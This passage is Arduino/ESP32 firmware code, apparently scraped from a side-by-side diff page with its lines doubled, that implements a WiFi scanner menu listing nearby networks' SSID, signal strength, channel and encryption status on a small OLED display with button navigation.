networks[i].channel = WiFi.channel(i);
|
||||||
networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
|
networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
|
||||||
}
|
}
|
||||||
|
|
||||||
selectedIndex = 0;
|
selectedIndex = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== DRAW =====
|
// ===== DRAW =====
|
||||||
void wifi_scan_draw() {
|
void wifi_scan_draw() {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
|
|
||||||
if (networkCount == 0) {
|
if (networkCount == 0) {
|
||||||
u8g2.drawStr(0, 30, "No networks");
|
u8g2.drawStr(0, 30, "No networks");
|
||||||
u8g2.drawStr(0, 45, "Press BACK");
|
u8g2.drawStr(0, 45, "Press BACK");
|
||||||
} else {
|
} else {
|
||||||
char counter[20];
|
char counter[20];
|
||||||
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
|
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
u8g2.drawStr(0, 8, counter);
|
u8g2.drawStr(0, 8, counter);
|
||||||
|
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
for (int i = 0; i < 3; i++) {
|
for (int i = 0; i < 3; i++) {
|
||||||
int idx = selectedIndex + i;
|
int idx = selectedIndex + i;
|
||||||
if (idx >= networkCount)
|
if (idx >= networkCount)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
int y = 22 + i * 14;
|
int y = 22 + i * 14;
|
||||||
|
|
||||||
if (i == 0) {
|
if (i == 0) {
|
||||||
u8g2.drawBox(0, y - 10, 128, 12);
|
u8g2.drawBox(0, y - 10, 128, 12);
|
||||||
u8g2.setDrawColor(0);
|
u8g2.setDrawColor(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
String text = networks[idx].ssid;
|
String text = networks[idx].ssid;
|
||||||
if (text.length() > 10)
|
if (text.length() > 10)
|
||||||
text = text.substring(0, 10) + "..";
|
text = text.substring(0, 10) + "..";
|
||||||
|
|
||||||
text += " (" + String(networks[idx].rssi) + ")";
|
text += " (" + String(networks[idx].rssi) + ")";
|
||||||
|
|
||||||
u8g2.drawStr(2, y, text.c_str());
|
u8g2.drawStr(2, y, text.c_str());
|
||||||
|
|
||||||
if (i == 0)
|
if (i == 0)
|
||||||
u8g2.setDrawColor(1);
|
u8g2.setDrawColor(1);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== DETAILS =====
|
// ===== DETAILS =====
|
||||||
void wifi_drawDetails() {
|
void wifi_drawDetails() {
|
||||||
if (networkCount == 0)
|
if (networkCount == 0)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
WiFiNet &net = networks[selectedIndex];
|
WiFiNet &net = networks[selectedIndex];
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
|
|
||||||
u8g2.drawStr(0, 10, net.ssid.c_str());
|
u8g2.drawStr(0, 10, net.ssid.c_str());
|
||||||
|
|
||||||
char rssi[20];
|
char rssi[20];
|
||||||
sprintf(rssi, "RSSI: %d", net.rssi);
|
sprintf(rssi, "RSSI: %d", net.rssi);
|
||||||
u8g2.drawStr(0, 20, rssi);
|
u8g2.drawStr(0, 20, rssi);
|
||||||
|
|
||||||
char ch[20];
|
char ch[20];
|
||||||
sprintf(ch, "CH: %d", net.channel);
|
sprintf(ch, "CH: %d", net.channel);
|
||||||
u8g2.drawStr(0, 30, ch);
|
u8g2.drawStr(0, 30, ch);
|
||||||
|
|
||||||
u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
|
u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== LOOP =====
|
// ===== LOOP =====
|
||||||
void wifi_scan_loop() {
|
void wifi_scan_loop() {
|
||||||
static uint32_t lastPress = 0;
|
static uint32_t lastPress = 0;
|
||||||
|
|
||||||
if (millis() - lastPress < 150)
|
if (millis() - lastPress < 150)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if (btnDown() && selectedIndex < networkCount - 1) {
|
if (btnDown() && selectedIndex < networkCount - 1) {
|
||||||
selectedIndex++;
|
selectedIndex++;
|
||||||
wifi_scan_draw();
|
wifi_scan_draw();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
} else if (btnUp() && selectedIndex > 0) {
|
} else if (btnUp() && selectedIndex > 0) {
|
||||||
selectedIndex--;
|
selectedIndex--;
|
||||||
wifi_scan_draw();
|
wifi_scan_draw();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
} else if (btnSelect() && networkCount > 0) {
|
} else if (btnSelect() && networkCount > 0) {
|
||||||
wifi_drawDetails();
|
wifi_drawDetails();
|
||||||
delay(3000);
|
delay(3000);
|
||||||
wifi_scan_draw();
|
wifi_scan_draw();
|
||||||
lastPress = millis();
|
lastPress = millis();
|
||||||
}
|
}
|
||||||
// else if (btnBack())
|
// else if (btnBack())
|
||||||
// {
|
// {
|
||||||
// wifi_scan_start();
|
// wifi_scan_start();
|
||||||
// wifi_scan_draw();
|
// wifi_scan_draw();
|
||||||
// lastPress = millis();
|
// lastPress = millis();
|
||||||
// }
|
// }
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue